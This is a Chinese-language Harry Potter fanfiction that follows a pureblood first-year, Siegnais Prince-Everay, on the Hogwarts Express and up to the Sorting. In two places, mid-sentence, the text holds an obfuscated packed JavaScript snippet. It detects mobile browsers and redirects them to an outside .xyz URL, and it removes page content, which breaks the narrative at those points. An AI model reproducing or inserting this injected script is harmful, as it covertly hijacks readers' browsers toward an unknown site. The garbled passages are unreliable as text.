《[HP]常青誓言》 1. 霍格沃兹特快 1983年9月1日,国王十字车站,九又四分之三站台。 清晨的薄雾已经完全散去,混杂着煤烟味的空气弥漫在国王十字车站。人们步履匆匆,对9号和10号站台之间那堵看似普通的砖墙毫无察觉。而在巫师眼中,这里正涌动着前往霍格沃兹的人潮。 气氛已经比两年前轻松许多,人们终于摆脱了笼罩在头顶的阴云,有了几分轻松惬意的感觉——除了少数表情紧绷的人,他们有些眉头紧锁,有些面色忿忿,却隐隐被众人排斥在外。 卡斯托·普林斯-埃弗瑞(Castor Prince-Everay)身着一套剪裁精良的深灰色西装,身披黑色的大衣,手持文明杖,看上去就像一位老牌的英伦绅士。他挺拔的身姿和深邃的墨绿色眼眸让他即使在人群中也不失存在感,但那份沉稳的气场却巧妙地收敛了锋芒。 他拍了拍正四下打量着环境的弟弟——西格纳斯·普林斯-埃弗瑞(Siegnais Prince-Everay)的肩膀,用手杖指了指墙面,“好了西格尼,这里就是九又四分之三车站的入口了。” 11岁的西格纳斯穿着合体的旅行斗篷,黑发柔顺光泽,搭配着白皙却也红润的肌肤和如同翡翠一般的墨绿色眸子,如同麻瓜高档柜台里最精致的洋娃娃。 西格纳斯将目光转向那堵看上去平平无奇的墙面,眼神中闪烁着好奇:“真有趣,把通道建在麻瓜的交通枢纽建筑里。”亲眼看着一个不知道是哪家的小巫师,推着行李车冲进了墙壁。 “卡索,车站没建立前,巫师们怎么去霍格沃兹?”西格纳斯看向兄长,眼中兴味不减。 “事实上,在《国际保密法》颁布前,人们可以选择魔法马车,或者骑扫帚飞过去。” “梅林呀!原来以前一年级可以骑扫帚上学!”某个大概是听到了他们交谈的巫师家庭的孩子惊叫出了声,在西格纳斯一瞪之下,顶着红棕色头发的脑袋讪讪地缩了回去——毕竟偷听可不礼貌。 西格纳斯有点不高兴,于是推了推卡斯托,“卡索,我们进去吧!”卡斯托轻笑,纵容着弟弟的推搡,用手杖轻点行李车,带着西格纳斯穿过了站台墙面。 穿过九又四分之三站台的隔墙,卡斯托熟悉的场景豁然展开:深红色的霍格沃茨特快列车喷吐着滚滚白烟,站台上挤满了学生和家长——年级大一些的一副驾轻就熟的模样;年级小一些的则难免喧嚣,而他们的家长们正在努力控制住自家四处乱跑的小崽子。 “只有我是哥哥来送站呢!”西格纳斯津津有味地看着站台上的混乱,随口说着。 “西格尼?”卡斯托的语气有些迟疑,不过西格纳斯反而完全不介意,“幸好他们没来,否则不敢想象现在会有多混乱。”西格纳斯对自家父母,是相当的不信任。 卡斯托忍不住嘴角上挑,回想起当初自己上学时的样子,回应道,“这么说也没错。” 汽笛长鸣,催促着未上车的乘客。 “西格尼,紧张吗?”卡斯托的声音低沉而温和,像秋日里拂过林间的微风。 西格纳斯提起自己那个被兄长施加了伸展咒、装着最重要的私人物品的随身小皮箱,放在行李车上,墨绿色的眸子里仿佛闪烁着星光:“这是生活全新的起点,有什么可紧张的?” “等我双面镜联系。”他轻轻拥抱了一下自己的兄长,转身推着行李走向列车的车门。小小的身影在拥挤的站台上显得格外挺直,仿佛不是走向一个充满未知和挑战的环境,而是一个早已为他铺设好的舞台。 卡斯托站在原地,目送着弟弟踏上列车踏板,消失在车厢门口。他没有立刻离开,直到深红色的列车在汽笛的轰鸣中缓缓启动,驶离站台,留下两道渐行渐远的铁轨。 站台上的喧嚣渐渐远去,卡斯托才收回目光,深不见底的墨绿色眼眸中,属于兄长的温情迅速沉淀,重新凝聚成家主应有的冷静与深远。他整理了一下西装袖口,转身融入麻瓜的人潮,下一刻身影消失不见。 *** 霍格沃兹特快从伦敦出发,一路向北行驶着。 西格纳斯找到一个还未满员的包厢时,已经接近车厢的尾部——毕竟他上车的时间已经有些晚了。他发现包厢里面已经坐着两个长得一模一样的少年:浅金色的短发,皮肤透出一种冷色调的白,结合深邃的眼窝,有着一种独特的混血感。 两人分坐在车窗两侧,左侧的那个坐姿端正地看着窗外,右侧那人则几乎半个身子都倚靠在车厢内壁上,手上百无聊赖地翻着一本书——西格纳斯瞥了一眼,是《霍格沃兹:一段校史》。 西格纳斯拉开包厢门的动静,引来两人的视线,那两对灰蓝色的眸子,让人不由联想起北欧雪原中的冰湖。 “午安。”西格纳斯淡定地合上门,“看来这里比较空。” 端正坐姿的那个向内侧移了一下,让出了一个座位。 “谢谢。”西格纳斯礼貌点头,将行李车推至包厢的角落,取下自己的随身手提箱,再次点头致谢后,便行云流水地坐了下来。 从手提箱中抽出一本《实用魔药大师》,自顾自地看了起来。 两人没想到西格纳斯竟然如此冷淡,互相对视一眼,坐在西格纳斯对面的那个轻轻摇了摇头。两人也就没有出声,继续一个看窗外,一个看书。 包厢里一时安静得与车厢走廊传来的喧闹仿佛两个世界。 “啊!这里有个空隔……间……”一个西格纳斯有些耳熟的声音在耳边想起。 一抬头,正看见之前在站台上遇到的红棕发“偷听”者。 “那个……我听里面没声音,还以为……没有人呢……”被三双眼睛盯着,红棕发男孩声音越来越低,最后喃喃仿若蚊声。 西格纳斯看了一眼包厢的座椅,坐在对面位置的少年稍微摆正了坐姿,也往里挪动了一下,空出了一个完整的座位。 “还有一个座位。”西格纳斯主动回应。 红棕发男孩眼睛一亮,拖着自己的行李挤进包厢,向西格纳斯及另外两人道谢,“那太好了,谢谢。”他一边放置行李,一边叽叽喳喳地说着话,一个人就顶了四个人的话量,“我上车有点晚了……上来后,几乎把所有包厢找遍了,全是满员!我还以为我不得不找到车尾去呢!幸好这里还有位置……这下可算能休息了。” 等他放好行李,坐在座位上,才发现包厢内的音量似乎全部来自于自己,不由得面露一丝尴尬,讷讷地小声问向这个包厢里唯一曾回应过自己的西格纳斯,“那个,我是不是太吵了?” 西格纳斯从书中抬起头来,回应道:“还好。” 也许是西格纳斯的简单回应显得有些冷淡,红棕发少年明显有几分局促,“那个……抱歉。”他下意识地端正坐姿,“我、我叫赫德森,赫德森·布鲁姆(Hudson Bloom),今年的新生……我之前不是故意偷听的,我只是正巧——” “好了。”西格纳斯打断了名为赫德森的红棕发少年有些慌乱的解释,“我没有很介意了。”他将书合起放在桌上,端正坐姿,介绍自己:“西格纳斯·普林斯-埃弗瑞,也是新生。” “普林斯……埃弗瑞?”赫德森有些迟疑,“听起来像是个复合姓氏?” “普林斯家族的埃弗瑞旁支。”西格纳斯解释道,“因为已经独立发展了多代,为了与主支有所区别,就一直这样了。” “哦,哦……”赫德森意识到,西格纳斯恐怕是个传承多年的纯血家族出身的巫师。联想到这几年流传的各种关于关于神秘人和追随他的纯血巫师的传闻,赫德森的态度不由得变得有些迟疑。 西格纳斯却微笑开口:“说起来,布鲁姆这个姓氏……我倒是知道一位,是位脾气非常温和的草药商人,不知道与你家有没有关系。” 赫德森精神一震,“哎?草药商?我爸爸就是草药商!他叫埃德温·布鲁姆 (Edwin Bloom)!” “布鲁姆先生竟然是你父亲?”西格纳斯露出有些惊喜的表情,继而又有些疑惑,“怎么刚刚没在站台上见到他?” 赫德森表情有些讪讪,“那个……他……因为今天要送我上学,昨天晚上有点兴奋过头,结果失眠了。”他眼神乱飘,似乎很是不好意思,“然后早上的时候,他觉得自己的黑眼圈不太好看,就想喝个提神剂……” “等等!”西格纳斯打断,“提神剂(Pepperup Potion)可不是这么用的。” 赫德森头低着,几乎快要低到桌子下面了,“呃、我爸爸的魔药课成绩……有点、有点……” 西格纳斯忍不住嘴角上翘,“好吧,我懂了。”几乎可以想象到,耳朵冒烟的男人,是如何沮丧地被要求呆在家里,直至症状消失的。 耳边传来两声低沉的轻笑,西格纳斯侧头看向之前一直沉默的、包厢里的另两位乘客。 “失礼了,该怎么称呼两位?” 灰蓝色眸子的主人彼此对视一眼,坐在西格纳斯身边的人首先开口,“埃里希·罗齐尔(Erich Rosier)。”坐在对面的人接着,“洛塔尔·罗齐尔(Lothar Rosier),我们也是新生。” 德语的名字和法语的姓氏,结合出一种不同于英语的独特风味。 西格纳斯闻言一挑眉,“来霍格沃兹?我以为‘罗齐尔’会选择布斯巴顿或德姆斯特朗。” 两位罗齐尔灰蓝色的眼睛都看向西格纳斯,神色中闪过一丝不太明显的不情愿,靠近西格纳斯一侧、自称埃里希的罗齐尔闷闷地回应:“如果可以,我们也想去德姆斯特朗。” 西格纳斯眼神微眯—— “我刚刚就想问了,请问你们是双胞胎吧?”大概是因为西格纳斯转移了话题,赫德森终于从羞耻感中恢复了过来,也顺着将话题转移到了两位罗齐尔身上。 埃里希·罗齐尔将视线转向这个红棕色头发的少年,点头,“我是哥哥。”洛塔尔·罗齐尔也摇了摇手,“我是弟弟。” 虽然是双胞胎,但在西格纳斯眼里,这两个人的气质差异略大——哥哥埃里希身上有着德国人常见的冷肃,而弟弟洛塔尔则更多显露出法国人的随性。结合他们德语的名字和法语的姓氏,显然两人的性格分别随了父母——只是没想到一对双胞胎兄弟,性格能有这么大的差异。 “我远房姨妈家也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117896|179996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一对双胞胎,但他们现在才5岁。”赫德森喃喃着,“真好啊!我也想有个兄弟……” ——有个哥哥确实很好,特别是当你有一对不靠谱的父母时。西格纳斯暗暗点头肯定。 “我姨妈家除了双胞胎,还有另外5个孩子,是个大家族。”赫德森面露羡慕地说着。 闻言,西格纳斯却是垂眸不语,手指摩挲着桌面上杂志,封面的坩埚里浮起白雾。 卡斯托曾提起过,若论起人丁兴旺,整个英国魔法界,没哪家比得上—— “他们一家都是格兰芬多。” ——纯血中的异类、全是格兰芬多的韦斯莱家。 “真好呢!我也想去格兰芬多。但是我爸爸和妈妈都是赫奇帕奇,我大概也会是赫奇帕奇吧?”赫德森说着,“不过也好,反正只要不是——” 忽然,他话音停了下来,匆匆咽回了那个几乎要脱口而出的“斯莱特林”。 双胞胎先不论,可至少眼前的这位西格纳斯·普林斯-埃弗瑞,明显是个纯血巫师——还是个传承多代的纯血巫师——家里说不定有多少斯莱特林出身的长辈亲人呢! 因为神秘人出身斯莱特林,他的追随者——食死徒也几乎都出自斯莱特林,现在这个学院的名声可谓糟糕透顶。 但这也不是当着人家的面,诋毁人家家族长辈出身学院的理由啊! “那个,抱歉……普林斯-埃弗瑞先生?”赫德森有些不好意思地看向西格纳斯。 西格纳斯嘴角勾起一个弧度,“在没有其他‘普林斯’在场的时候,叫我‘普林斯’就好。” “哦,好的,普林斯先生……”赫德森有些尴尬,一时不知道该说什么。 倒是西格纳斯片刻后淡定开口,“我应该会进斯莱特林。” 在现在这个社会环境下,新生直言选择斯莱特林极为少见,就连罗齐尔双胞胎都不由得对视一眼后,看向西格纳斯。 “啊?啊……哦、嗯……”赫德森感觉尴尬得不行,不知道该如何回应,直到西格纳斯给出了他的理由—— “既往知名的魔药大师,大部分都出自斯莱特林。”西格纳斯看着《实用魔药大师》封面上的文字,表情淡淡地说道,“普林斯家族靠魔药传承,仅靠基础的魔药课是不够的。”他抬头看向赫德森,嘴角的弧度完美,“去斯莱特林,找最好的老师,就是最优的选择。” 一直倚靠着车厢内壁的洛塔尔·罗齐尔合上书,坐直了身体,目光与自己的兄长对视了一瞬,就将视线锁定在西格纳斯的脸上。 “啊,魔药!”赫德森似乎终于重新找到了能聊的安全话题,立刻接口道:“怪不得你知道我爸爸,我家一直在为好几个家族供应草药。不过……好像没有普林斯……” “之前为了躲避神秘人,用的是‘埃弗瑞’这个姓氏。”西格纳斯解释道,“最近环境比较安定了,我家才在魔法部重新登记,恢复原本的姓氏。” “原来是你家!”赫德森有些激动,“我爸爸提起过,‘埃弗瑞’家在材料商圈子里是有名的好主顾,从来不会故意刁难供货商。” 西格纳斯嘴角翘起的弧度更明显了,“那未来请看在是同校同学的份上,多给我家一些优惠吧。” “那是当然!”赫德森拍着胸脯承诺道,“我明天就给我爸爸写信!” 一阵咔嚓咔嚓的嘈杂声从包厢外传来,一位笑容可掬的女士推开了包厢门,热情地问道:“亲爱的,要不要买点什么食物?” 包厢里的四人这才注意到,现在已是十二点多了。列车窗外的风景,也已经从郊区的田野,变成了森林、河流,和暗绿色的山丘。 西格纳斯看了看女售货员的推车——比比多味豆、吹宝超级泡泡糖、巧克力蛙、甘草魔杖……除了南瓜馅饼和坩埚形蛋糕,感觉并没有什么正经的食物。 不过坩埚形蛋糕的造型,倒是让他觉着分外亲切。 赫德森·布鲁姆看着推车,像是忽然想起来什么,从座位上跳起来。一边念叨着“等下,等下,你们别急着买吃的!”一边在自己的行李堆里一通翻找,最后拎出来一个皮箱。 “我妈妈擅长烹饪。”赫德森将箱子放在桌子中间,自豪地打开——那其实是施加了伸展咒的餐盒,露出了里面琳琅满目的食物——烤小羊排、土豆泥肉馅饼、约克郡布丁、奶酪、火腿拼盘、浇汁沙拉、苹果派……餐盒被塞得满满当当,足够填饱四个人的肚子,“她是《预言家日报》美食专栏的作家,看!这些都是她的杰作!” 赫德森热情地将食物推到桌子中间,邀请西格纳斯及两位罗齐尔品尝这份手艺,“我妈妈特意准备了这么多,让我跟大家一起分享的!”他甚至不知道从哪里又掏出来一套茶具,倒出三杯香醇的奶茶,直接塞到了三人的手里。 他那样积极,就像想用食物,弥补他刚刚表现出的、对斯莱特林不算礼貌的态度。 西格纳斯和两位罗齐尔面面相觑,一时搞不明白事情是怎么突然发展到聚餐阶段的。就连女售货员,都无奈的摇摇头,推着推车离开了包厢。 不过,盛情难却,空荡的肠胃也替他们做出了决定——先填饱肚子再说吧! 2. 冲突 赫德森的母亲不是按着“火车便餐”水准备下的食物——她显然是照着让赫德森在包厢里开交友聚会的水平准备的。 西格纳斯他们四个男孩,一路吃到了下午茶时间,才勉强将餐盒的食物吃得差不多干净——多亏他们还都是长身体的年龄,否则还真塞不下这么多的食物。 期间赫德森不断地“再吃点、再尝尝这个”的热情话语,让西格纳斯想起了自己已逝的姑祖母——那位和蔼的老妇人最爱让幼年的自己再多吃一点;而她留下的家养小精灵,显然也继承了这方面的习惯,追着西格纳斯“小主人,再吃一点,再吃一点吧!”的样子,像极了某种温暖的心理阴影的延续。 品尝美食期间,包厢里的聊天内容,从《预言家日报》的美食专栏转到了娱乐版,又从娱乐版聊到了体育版——显而易见,刻意避开了较为敏感的时政版面。 餐后,西格纳斯抽出魔杖:金合欢木的魔杖轻点一下,释放了一个小型的清洁咒,然后将被当做餐盒的箱子缩小,漂浮放回了布鲁姆的行李堆;罗齐尔兄弟见状也抽出自己的魔杖,清理桌子和座椅上掉落的食物残渣或滴落的酱汁。 西格纳斯目光扫过两人的魔杖——哥哥埃里希使用的是有着细密纹理的白色山杨木魔杖;而弟弟洛塔尔的魔杖更是一眼可辨——银椴木魔杖独特的美丽外观,具有很高的辨识度。 “哇哦,你们的魔杖用得可真好。”赫德森揉着肚子,一脸羡慕憧憬地说着,“我的魔杖刚买来没几天,我还没学会怎么用它呢!” 西格纳斯没有多说什么,只是微笑以对:这种家族内部提前教育的差异化,自己不便评价。 所幸,赫德森本人好像也只是随口感慨一下而已。 “唔,我好像吃得有些太多了。”赫德森站了起来,在包厢里小幅度地走动了两步。然后尴尬地发觉,在塞满了行李的包厢里,自己来回溜达的举动,似乎有些太过随意。 他站在门边,向着西格纳斯和罗齐尔兄弟解释着,“那个,我去走廊走一走,活动一下。”在三人均点头示意后,拉开包厢门快速地溜了出去。 包厢里少了一个人,一下子恢复了安静。 洛塔尔·罗齐尔将手边的《霍格沃兹:一段校史》塞到埃里希手下,自己则身体前倾,手臂架在桌上,单手支着额头,看向西格纳斯。 “你还是吓到他了。”德式腔调的英语在包厢里响起,夹杂的小舌音,又透露出根深蒂固的法语习惯。 西格纳斯侧头,墨绿色翡翠与灰蓝色冰湖无声对视。 “小动物都是敏感的,他们总能敏锐地发现危险。”洛塔尔看着西格纳斯,仔细观察着他的每一分表情。 西格纳斯扫了另一个沉默着的罗齐尔一眼,发觉他虽然没有说话,但也在注视着自己。他于是放松身体,自在地靠在座椅背上,嘴角上挑就如同之前面对赫德森·布鲁姆时一样,“又不是只有我与他,不是同一物种。” “你不是早就看出来了吗?”埃里希终于开口了,他的腔调比洛塔尔更低沉,也更冷硬,偏向德式。 “毕竟布斯巴顿,可比德姆斯特朗更靠近德国。”西格纳斯连眼神中都带着笑意,好像想到了什么,“和法国。” 洛塔尔叹了口气,重新倚回包厢内壁和椅背的夹角处:“所以,不用管那只小动物吗?” 西格纳斯只是又一次轻轻勾起了嘴角。 这时,包厢外忽然嘈杂了起来。 三人对视了一眼,谁也没有离开座位。西格纳斯用魔杖将包厢门挥开一道缝隙,让外界的声音能够更清晰地传递进来—— “……哪里轮得到你在这里叫嚣!”一个刺耳的挑衅声传进了包厢里。 “该死的……”果然,外面的人因他的话而愤怒了起来。 “我开始用魔杖的时候,你还在你那麻瓜妈妈怀里哭呢!” “你这个混蛋——Furnunculus(火烤热辣辣)!”从第一个咒语出现开始,外面彻底乱了起来。 “Titillando(身痒难耐)!” “Expelliarmus(除你武器)!” 混乱的光亮,在门外交替闪烁。 西格纳斯和罗齐尔兄弟,不由得又一次交换了一下视线。 “Protego Totalum(统统加护)!” 所幸,一个女声及时响起,将这逐渐扩大的混乱控制住了,“够了!都住手!”她的声音中隐含着怒意,“这里是霍格沃兹特快,不是你们的决斗场。” “你敢多管闲事?”“用不着你插手!”——显然,冲突双方都不太愿意接受这位女士的好心。 “漂亮的群体防护咒,弗利(Fawley)女士。”又一个男声姗姗来迟地响起,但从那气定神闲的语气听来,显然并不是刚刚赶到的,“真是个值得为斯莱特林加上5分的绝佳咒语表现。” “呸!要她假好心?”那个明显来自格兰芬多的男声骂着,“你们这些食死徒,根本不配回到霍格沃兹!” “判断谁是食死徒,是威森加摩的事。而不是——”那个被称为“弗利女士”的冷冽女声顿了一下,“一个三年级的格兰芬多。” “好了好了,这里可不是决斗的地方,都回去。”之前那个男声再次响起,与弗利女士所说的话语类似,这次却取得了完全不一样的效果,走廊里一片走动、关门的声音。 “级长先生,也许下次您应该出现得更及时一些,”弗利女士的声音又一次响起,“鉴于这次冲突的其中一方,正是格兰芬多。” “哎,级长也是很忙的。”男声回应得随意,“不好意思,弗利女士,我该去巡查下一个地方了。” 门外的动静逐渐平息下去。 西格纳斯施施然起身,走向包厢门,“我该去……找一找应激的小动物了。”——某只“散步”的小动物,应该正好遭受了无妄之灾。 刚走到门口,就听到门外又一次响起了对话声。 “你好心,可人家格兰芬多并不领情呢!”最开始听到的挑衅男声又一次响起。 “那是我的事。”弗利女士的回应也依旧坚定且强势。 “嘁!逞什么威风!一个连级长也不是的四年级……”话语声随着他走远而渐不可闻。 又等了大概一分钟,确定外面再无人声,西格纳斯才完全打开包厢门——门外果然再没有人,其他包厢的门都紧紧闭合着,仿佛刚才的冲突都是幻觉。 西格纳斯站在门口思索了片刻,最后朝着冲突发生的方向走去——果然,在车厢的尽头,发现了紧张地缩身蹲在角落里的赫德森·布鲁姆。 “小布鲁姆先生,你还好吗?” 赫德森抬头,看见了西格纳斯神色和缓、白皙红润的脸庞,和自己此刻煞白的脸色形成突兀的对比。 他愣愣的,显然还未从刚才的冲突中恢复过来。 “小布鲁姆先生?”西格纳斯又呼唤了他一下,还是没反应。最后,他思索了一下,再次呼唤:“赫德森?” “啊、嗯……”赫德森好像这才回神,“我、我没事的……” “那就好。”西格纳斯点点头,等赫德森自己缓缓站直身体,才再次开口,“我们回去吧!”说着,转身就要回包厢。 “那个,普林斯先生。”赫德森看着西格纳斯的背影,捏着自己的衣角,不安地开口问他,“你真的……真的要选择斯莱特林吗?”因为是在车厢走廊里,所以他下意识地将声音压得很轻。 他回想起刚刚的冲突,忍不住想再劝一劝,“你也看到了吧,刚刚——” “决定我是什么样的人,看的是我自身的行为和意愿。”西格纳斯平静地制止了赫德森接下来的话语,他嘴角勾着从容的弧度,“而非仅看我的出身,或所在的学院。” “毕竟,就算是斯莱特林,也有刚刚那位‘弗利女士’那样的人,不是吗?”西格纳斯说完不再看他,转身继续向包厢走去,“回去吧!” 赫德森看着西格纳斯的身影,踟蹰了片刻,最后还是追了上去。 当他们回到包厢时,西格纳斯发现桌子上多了几盒巧克力蛙,还有一摞坩埚形蛋糕。 西格纳斯看向罗齐尔兄弟,埃里希向他点了点头,洛塔尔则冲着他笑了一下,然后又一次翻开了那本《霍格沃兹:一段校史》。 西格纳斯又看了一眼那些零食,忽然轻笑出声。侧身坐回座位上,抬头看向刚刚关好包厢门的赫德森,说道:“快坐下吃块巧克力蛙吧!” 赫德森有些讶异地看着桌上的零食,不知道是怎么一回事。 “我去找你的时候,”西格纳斯说着,含笑的眼神扫过罗齐尔兄弟,“他们应该去找了之前的女售货员。” “你可能需要点巧克力。”埃里希将巧克力蛙向赫德森的方向推了推,“这能让你感觉好点。” 光看表情,赫德森此刻已经感动得快哭出来了。恐怕此刻埃里希冷硬的德式英语,听在他耳朵里,也都变成了巧克力的甜蜜。 血色重新充盈了赫德森的脸庞,他坐回座位上,有些晕乎乎地拆开了一块巧克力蛙——直到巧克力蛙活蹦乱跳地落在他脸上,他才回过神来,手忙脚乱地抓住了青蛙后腿。 似乎被他慌乱的样子取悦到了,西格纳斯轻笑出了声。 听到笑声的赫德森看着西格纳斯的笑脸,恍惚间忽然感觉自己好像察觉到了什么——原来普林斯先生笑起来,应该是这个样子啊…… 不过,没等他想明白自己的感觉,洛塔尔已经将一块坩埚形蛋糕塞进了他的嘴里,“快点吃吧!” 西格纳斯收敛了笑容,只是嘴角还残留着几分未散尽的笑意。眼神与洛塔尔和埃里希先后一触即分,再转向赫德森时,笑容又是一如既往的完美。 “等下好好休息一下吧!”西格纳斯说着,“晚上还要举行分院仪式,你需要保持充足的精力。” 提起晚上的分院仪式,赫德森立刻不再东想西想。他像松鼠啃食榛果一样将巧克力蛙吃了个干净,然后掏出了自己的魔杖,“我、我是不是应该提前学几个魔咒?”他有些紧张地说,“我是说,我完全没有准备!” 西格纳斯露出了一个哭笑不得的表情,“不。”他说,“我想霍格沃兹并不会要求一位刚拿到魔杖的小巫师去战斗。” 赫德森将信将疑,举着魔杖的手,犹豫着要不要收起魔杖。 “但是德姆斯特朗的话,的确会有这个可能。”洛塔尔突然插话,让赫德森又一次紧张得攥紧了魔杖。 “或许是要进行笔试?”就连埃里希也插了一句。 ——很好。赫德森·布鲁姆先生此刻已经完全忘记了之前的冲突,只剩下面对分院仪式的焦虑了。 “休息。”西格纳斯的笑容变得有些危险,“或者我用安眠药剂让你们休息。” 三个人终于都老实了。 *** “再过五分钟就要到达霍格沃兹了,请将你们的行李留在车上,我们会替你们送到学校去的。”列车广播的声音回荡着。 西格纳斯已经换上了霍格沃兹的黑色制服长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117897|179996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袍,《实用魔药大师》也被放回了手提行李箱。 “我的行李真的就这样放着就可以吗?”赫德森迟疑着,反复确认着自己的行李,“真的不会弄错吗?” 西格纳斯倒是没有这方面的担心,他的每一件行李上,都铭刻着常青藤环绕水晶叶的家徽,水晶树叶上,魔杖与药液流体组成的“P”字母,既指代“Prince”又引申“Potion”——这是最明确不过的徽记。 不过他也有些好奇——哥哥卡斯托从未详细介绍过分院仪式的具体流程,他说那是某种约定俗成的传统,要给新生保留惊喜。 罗齐尔兄弟此刻也站在他旁边,西格纳斯这才发现,在自己152cm的标准身高面前,这对双胞胎居然还能比自己高上一大截。“欧陆的基因这么厉害的吗?”西格纳斯忍不住小声嘀咕了一句。 “什么?”离他最近的埃里希没听清楚,下意识追问。 “没什么。”西格纳斯回了一句,“车快停了。” 列车速度逐渐放缓,最终完全停了下来。车窗外漆黑一片,只有零星的灯光在散发着光亮。 “一年级新生!一年级新生到这边来!到这边!”一个穿透力极强的粗犷声音传来,如同打雷一般。西格纳斯顺着人流下到一个又黑又小的站台时,看到了那个有着蓬乱头发和纠结胡须的巨人,就算在拥挤的人流中,那巨大的体型也是那样的醒目。 “来吧!新生,跟我来!还有没跟上的吗?好了,注意脚下,跟着我走吧!”巨人呼喊了几声,然后便提着灯,走在了队伍的最前端。 那可真不是什么好走的路,狭窄崎岖,光线昏暗。西格纳斯好几次险些滑倒,被埃里希、或者是洛塔尔——太暗了,他看不清——给扶住了。 “拐过这个弯,你们马上就要见到霍格沃兹了——世界上最优秀的魔法学校!”巨人回头喊着。 虽然看不太清楚,但西格纳斯确信,罗齐尔兄弟似乎不太同意巨人这个观点。 接着一声嘹亮的“噢——!”狭窄的小路尽头,忽然铺开了一片广阔的湖面。在夜色下如黑曜石一般流淌的黑色湖水,倒影着湖对岸高高的山坡;山坡的顶上,矗立着一座巍峨的古堡——塔尖林立的建筑中,透着光亮的窗户,仿佛水面中倒映着的星光。 “好了!现在,新生们,都上船!”巨人指着停泊在岸边的一队小船说着,“每条船上,不能超过四个人!” 西格纳斯登上了一艘小船,然后是罗齐尔兄弟,不过赫德森却不在附近,也许是途中走散了。最后,是一个看上去恹恹欲睡的黑发落单少年,占据了最后一个位置。 大多数小船上的人员组合,都与之前在霍格沃兹特快包厢里的组合相同,很少发生变动——除非像赫德森或者眼前这人一样,与原本的同伴走散了。 “都上来了吗?”巨人回头检查了一番,他自己一个人就占据了整条船,“好的,那么……前进!” 一队小船划破平静无波的湖面,向着城堡的方向驶去。 凝视着巍峨的古堡,恹恹的少年忽然有气无力的开口道:“《霍格沃兹:一段校史》中说,四位创始人渡湖建校,走过的就是这样的一段路。” 西格纳斯闻言回望他。 “莱伊·拉德福德 (Lay Radford)。”黑发少年主动自我介绍了一下。这是一个英国很常见的姓氏,西格纳斯不能确定他来自哪里。 “西格纳斯·普林斯-埃弗瑞。”他回以自我介绍,少见的复合姓氏没有引起对方的疑问——也许是因为精力不足? 昏暗的灯光照不出对方眼眸的颜色,但是对方那圆框眼镜也遮不住的眼下青黑,西格纳斯却可以看得一清二楚。 以他的经验来看,黑眼圈严重到这个地步的人如果是个麻瓜,那下一阶段差不多就只剩猝死了——于是,他忍不住多问了一句:“你……还好吗?” “嗯,还活着。” 这听起来可不像还好的样子。 “或许……你不介意来点安眠药水(Sleeping Potion)?”西格纳斯想起自己之前放进口袋、但最终没派上用场的魔药。 “多谢。”丧丧的少年眼睛亮了一下,倒是显露出几分11岁该有的朝气来。 莱伊刚将安睡药水仔细地收进口袋,埃里希就将西格纳斯的身体向后拉,让他几乎是半躺在了船上——原来是巨人刚刚喊了一声“低头”。 小船载着他们穿过覆盖着山崖正面的常春藤帐幔时,西格纳斯忍不住伸手去触摸这些家族图腾中的植物。 穿过帐幔,来到一处隐匿的开阔入口。小船沿着漆黑的隧道一路穿行,最后到达了一个类似地下码头的地方。 下船后,踩着以碎石和小鹅卵石铺就的地面,攀过了山岩中的又一条隧道,才终于到达了城堡阴影处的一片平坦、潮湿的草地。 随着最后爬上一段石阶,他们终于停在了一扇巨大的橡木门外。 “所以,原来是体能考验吗?”西格纳斯喘息着,努力平复着自己过快的心跳,“这算哪门子惊喜。”——作为优雅的小少爷,他可是很久没有进行这么大体力的运动了。要不是罗齐尔兄弟时常帮忙,他觉得自己可能中途就要掉队了。 不说看上去就体能充沛的罗齐尔兄弟,就连恹恹的莱伊·拉德福德,竟然也是一副无甚大碍的样子——“我才是体能最差的吗?”小少爷忿忿地嘟囔着。 “都到齐了吗?”巨人又一次确认。 随后,他举起他那硕大的拳头,在大门上敲了三下。 3. 分院仪式 橡木大门打开了。 一个高个黑发女巫正一脸严肃地站在大门前,她穿着正式的墨绿色长袍,明亮的双眼扫视着来人。 “一年级新生,麦格教授。”巨人向女巫说着。 “好的,谢谢你,海格。”女巫说道,“接下来,就交给我来接手他们。” 她将橡木大门拉开,露出身后广阔的大厅,高挑的天花板向上延伸,仿佛探入夜色。石墙上插着熊熊燃烧的火把,照亮直通楼上的豪华大理石楼梯。 ——米勒娃·麦格,霍格沃兹副校长兼格兰芬多院长。卡斯托介绍过这位严肃认真的女士。 麦格教授没有将众人带进礼堂——西格纳斯听到了右侧大门之后几百人嗡嗡的说话声——而是带着新生到达了大厅另一头的一间很小的空房间。哪怕今年入学的新生并不是很多,此刻也是摩肩接踵地挤在了一起。 西格纳斯相当幸运——罗齐尔兄弟比他高出半个头的矫健身形,正好将他笼罩在一个相对宽松的舒适区。与自己相比,莱伊·拉德福德就不那么走运了,他连眼镜都被挤歪,只剩一根镜腿还坚强地挂在耳朵上,搭配着浓重的眼下青黑,他身上的丧感也更重了。 西格纳斯隔着人群还看到了赫德森·布鲁姆,他正和几个同样既紧张又兴奋的新生一起,不知道在说些什么。他也看到了远处的西格纳斯,立刻开心地招手——人群拥挤,他走过不来。西格纳斯微笑着点头回应。 “欢迎你们来到霍格沃兹。” 麦格教授站在人群的最前方,高挑的个头让所有新生都轻而易举地看到她。 